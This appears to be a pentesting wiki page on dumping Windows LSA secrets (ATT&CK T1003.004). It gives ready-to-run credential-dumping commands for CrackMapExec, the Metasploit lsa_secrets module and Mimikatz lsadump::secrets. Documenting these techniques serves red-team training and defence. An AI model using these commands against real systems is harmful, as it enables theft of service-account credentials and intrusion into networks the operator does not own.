> For the complete documentation index, see [llms.txt](https://viperone.gitbook.io/pentest-everything/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/credential-dumping/lsa-secrets.md).

# LSA Secrets

https\://attack.mitre.org/techniques/T1003/004/

**ATT\&CK ID:** [T1003.004](https://attack.mitre.org/techniques/T1003/004/)

**Permissions Required:** <mark style="color:red;">**SYSTEM**</mark>

**Description**

Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets`. LSA secrets can also be dumped from memory.

## Techniques

### Crackmapexec

```bash
crackmapexec smb '10.10.10.100' -u 'moe' -p 'Password123' --lsa
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2F7NgY61hBg9Z0esPvII8j%2Fimage.png?alt=media\&token=0a677bf3-3c35-410c-870f-59a972852ff3)

### Metasploit

```
use post/windows/gather/lsa_secrets
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FEE0jib9iFjF0MIjUuIgL%2Fimage.png?alt=media\&token=754d2f39-60b3-4d3e-b01d-bcdc52188f48)

### Mimikatz

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
```

![](https://1600278159-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFlgUPYI8q83vG2IJpI%2Fuploads%2FQDinyyvq6p7ziByv7nRa%2FMimikatz-lsa-dumpsecrets.png?alt=media\&token=575327d2-01bc-4d7d-a0a3-676cf6f2bd49)